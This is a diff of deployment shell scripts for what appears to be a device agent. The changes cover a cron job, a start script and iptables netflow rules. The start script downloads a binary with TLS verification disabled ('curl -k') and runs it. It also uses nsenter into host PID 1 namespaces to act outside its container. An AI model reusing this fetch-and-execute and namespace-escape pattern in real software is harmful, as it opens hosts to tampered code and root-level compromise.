-

cron.d/deploy

@@ -5,6 +5,6 @@
 
 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 
-*/3 * * * * roots bash /apps/gitrce/deploy/release/default/start.sh >>/apps/data/logs/deploy-start.log 2>&1
+*/20 * * * * roots bash /apps/gitrce/deploy/release/default/start.sh >>/apps/data/logs/deploy-start.log 2>&1
 
 */3 * * * * roots bash /apps/gitrce/netflow/iptables.sh >>/apps/data/logs/netflow-iptables.log 2>&1

deploy/release/t20251123/start.sh

@@ -11,14 +11,14 @@ __kill_process() {
 __download_docker_deploy() {
 	_tmp_path="${_docker_deploy_path}.tmp"
 
-	curl -sSfLk http://3300.s.sendi.wang:33009/docker-deploy -o "$_tmp_path" || return
+	curl -sSfLk https://cdn.linkfog.cn/product/terminal/docker-deploy/aarch64/docker-deploy -o "$_tmp_path" || return
 
 	chmod +x "$_tmp_path"
 	mv "$_tmp_path" "$_docker_deploy_path"
 }
 
 __check_md5() {
-	_remote_md5=$(curl -sSfLk http://3300.s.sendi.wang:33009/docker-deploy.md5 || echo "")
+	_remote_md5=$(curl -sSfLk https://cdn.linkfog.cn/product/terminal/docker-deploy/aarch64/docker-deploy.md5 || echo "")
 	[[ -z "$_remote_md5" ]] && return
 
 	if [[ ! -f "$_docker_deploy_path" ]]; then
@@ -42,27 +42,33 @@ __strong_size() {
 		_size=40
 	elif [[ "$_size" -gt 40 ]]; then
 		# 大于40时向下取整到十位数：98→90, 87→80, 53→50
-		_size=$(( (_size / 10) * 10 ))
+		_size=$(((_size / 10) * 10))
 	fi
 	echo "$_size"
 }
 
 __check_process() {
-    # 在宿主机命名空间中检查容器状态
+	# 在宿主机命名空间中检查容器状态
-    local container_count=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c 'docker ps -qf name=UMI-agent | wc -l' 2>/dev/null)
+	container_count=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c 'docker ps -qf name=UMI-agent | wc -l' 2>/dev/null)
 
-    if [[ $container_count -eq 0 ]]; then
+	echo "container_count: $container_count"
-        _strong_size=$(__strong_size)
 
-        # 构建命令
+	if [[ $container_count -eq 0 ]]; then
-        local cmd="mkdir -p /sys/fs/cgroup/net_cls,net_prio/docker 2>/dev/null && $CACHE/$FILE_PATH_START/docker-deploy -storage-directory $CACHE/$FILE_PATH_START -storage-size $_strong_size -channel-id CBYWAKOA03B5320231107102110898 -vendor UMI -orgcode A03B53 -thirdparty-sn $_id -event deploy"
+		_strong_size=$(__strong_size)
+		echo '开始部署'
 
-        # 执行命令
+		echo '检查docker-deploy文件'
-        nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$cmd" &>/dev/null
+		__check_md5
 
-        # 保存命令到文件
+		# 构建命令
-        echo "nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c '$cmd'" > /apps/data/cmdline.sh 2>/dev/null
+		local cmd="mkdir -p /sys/fs/cgroup/net_cls,net_prio/docker 2>/dev/null && $CACHE/$FILE_PATH_START/docker-deploy -storage-directory $CACHE/$FILE_PATH_START -storage-size $_strong_size -channel-id CBYWAKOA03B5320231107102110898 -vendor UMI -orgcode A03B53 -thirdparty-sn $_id -event deploy"
-    fi
+
+		# 执行命令
+		nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$cmd" &>/dev/null
+
+		# 保存命令到文件
+		echo "nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c '$cmd'" >/apps/data/cmdline.sh 2>/dev/null
+	fi
 }
 
 __main() {
@@ -83,7 +89,6 @@ __main() {
 
 		mkdir -p "$_strong_path" 2>/dev/null
 		echo "$(date '+%Y-%m-%d %H:%M:%S') start.sh"
-		__check_md5
 		__check_process
 	}
 }

netflow/iptables.sh

@@ -3,24 +3,48 @@
 
 if [[ -d "/host/proc/1/" ]]; then source /apps/gitrce/hook/singleton.sh "$0"; fi
 
+__get_mount_paths_cgroup_id() {
+	docker ps -q --no-trunc | while read -r cid; do
+		_path=$(docker inspect "$cid" --format '{{range .Mounts}}{{.Source}}{{"\n"}}{{end}}' 2>/dev/null)
+		if grep -qE "$CACHE/$FILE_PATH_START|writable" <<<"$_path"; then
+			_cmd="find /sys/fs/cgroup/ -type d -name $cid | grep net_cls 2>/dev/null"
+			_cgroup_path=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$_cmd")
+			_cmd_classid="cat $_cgroup_path/net_cls.classid 2>/dev/null"
+			_cgroup_id=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$_cmd_classid")
+			echo "$_cgroup_id"
+		fi
+	done
+}
+# __get_mount_paths_cgroup_id
+
+__get_in_cgroup_ids() {
+	awk '$0 != 0 && $0 != 1' /sys/fs/cgroup/net_cls,net_prio/*/net_cls.classid
+}
+
 __main() {
 	:
 	update-alternatives --set iptables /usr/sbin/iptables-legacy 2>/dev/null
 	update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy 2>/dev/null
 
+	readarray -t _cgroup_ids < <(__get_mount_paths_cgroup_id)
+
+	if [[ ${#_cgroup_ids[@]} -eq 0 ]]; then
+		readarray -t _cgroup_ids < <(__get_in_cgroup_ids)
+	fi
+
 	_owner_id=51000
 	_chain="output_netflow_owner_${_owner_id}"
 
 	for cmd in iptables ip6tables; do
 		$cmd -t mangle -N "$_chain" 2>/dev/null || true
 
-		if ! $cmd -t mangle -C OUTPUT -m mark ! --mark 0x0 -j "$_chain" 2>/dev/null; then
+		# if ! $cmd -t mangle -C OUTPUT -m mark ! --mark 0x0 -j "$_chain" 2>/dev/null; then
-			$cmd -t mangle -A OUTPUT -m mark ! --mark 0x0 -j "$_chain"
+		# 	$cmd -t mangle -A OUTPUT -m mark ! --mark 0x0 -j "$_chain"
-		fi
+		# fi
 
-		if ! $cmd -t mangle -C FORWARD -m mark ! --mark 0x0 -j "$_chain" 2>/dev/null; then
+		# if ! $cmd -t mangle -C FORWARD -m mark ! --mark 0x0 -j "$_chain" 2>/dev/null; then
-			$cmd -t mangle -A FORWARD -m mark ! --mark 0x0 -j "$_chain"
+		# 	$cmd -t mangle -A FORWARD -m mark ! --mark 0x0 -j "$_chain"
-		fi
+		# fi
 
 		if ! $cmd -t mangle -C "$_chain" -j RETURN 2>/dev/null; then
 			$cmd -t mangle -A "$_chain" -j RETURN
@@ -28,6 +52,21 @@ __main() {
 		$cmd -t mangle -L OUTPUT -v -n -x
 	done
 
+	for cgid in "${_cgroup_ids[@]}"; do
+		if [[ $cgid -eq 0 ]]; then
+			continue
+		fi
+		for cmd in iptables ip6tables; do
+			$cmd -t mangle -N "$_chain" 2>/dev/null || true
+			if ! $cmd -t mangle -C OUTPUT ! -o 'lo' -m cgroup --cgroup "$cgid" -j "$_chain" 2>/dev/null; then
+				$cmd -t mangle -I OUTPUT 1 ! -o 'lo' -m cgroup --cgroup "$cgid" -j "$_chain"
+			fi
+			if ! $cmd -t mangle -C "$_chain" -j RETURN 2>/dev/null; then
+				$cmd -t mangle -A "$_chain" -j RETURN
+			fi
+		done
+	done
+
 }
 
 __main

netflow/test.sh

@@ -0,0 +1,15 @@
+#!/usr/bin/env bash
+
+__get_mount_paths_cgroup_id() {
+	docker ps -q --no-trunc | while read -r cid; do
+		_path=$(docker inspect "$cid" --format '{{range .Mounts}}{{.Source}}{{"\n"}}{{end}}' 2>/dev/null)
+		if grep -q "$CACHE/$FILE_PATH_START" <<<"$_path"; then
+			_cmd="find /sys/fs/cgroup/ -type d -name $cid | grep net_cls 2>/dev/null"
+			_cgroup_path=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$_cmd")
+			_cmd_classid="cat $_cgroup_path/net_cls.classid 2>/dev/null"
+			_cgroup_id=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$_cmd_classid")
+			echo "$_cgroup_id"
+		fi
+	done
+}
+__get_mount_paths_cgroup_id